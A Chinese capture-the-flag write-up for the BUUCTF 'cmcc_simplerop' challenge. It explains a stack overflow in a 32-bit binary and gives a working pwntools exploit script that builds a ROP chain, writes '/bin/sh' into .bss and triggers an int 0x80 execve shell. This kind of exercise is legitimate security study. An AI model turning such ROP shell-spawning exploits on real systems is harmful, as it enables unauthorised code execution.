cmcc_simplerop

cmcc_simplerop

系统调用 + rop

# cmcc_simplerop

# 程序分析

32 位程序,开了 NX,部分 RELRO 保护

image-20220124214841349

主函数存在栈溢出

image-20220124214824363

该题 没有 system 函数和’/bin/sh’,考虑使用 int 80 系统调用,地址为 0x080493e1

image-20220124215933258

设置系统调用 int80 (11,"/bin/sh",null,null") 的参数 eax,ebx,ecx,edx

找到 eax,进行赋值,地址为 0x080bae06

image-20220124224731633

找到 pop edx;pop,ecx;ret,地址为 0x0806e850

image-20220124221830924

接下来调用 read 函数,将 /bin/sh 写入 bss 段,没有开 PIE,bss 地址为绝对地址。

image-20220124230033674

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
from pwn import *

context(os = "linux", arch = "i386", log_level= "debug")
# p = remote("node4.buuoj.cn", 29088)
p = process('./simplerop')

read_addr = 0x0806cd50
int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_eax_ret = 0x0806e850
bss_addr = 0x080eb584

payload = "a" * 0x20 + p32(read_addr) # 返回到read函数
payload += p32(pop_edx_ecx_eax_ret) # 平衡栈空间
payload += p32(0) + p32(bss_addr) + p32(8) # read函数的三个参数
payload += p32(pop_eax_ret) + p32(0xb) # 对eax进行赋值为11
# 对edx、ecx、ebx进行赋值
payload += p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80)

p.sendlineafter(":", payload)
p.sendline("/bin/sh\x00")

p.interactive()
Author

y1seco

Posted on

2022-01-24

Updated on

2022-01-24

Licensed under

Comments

:D 一言句子获取中...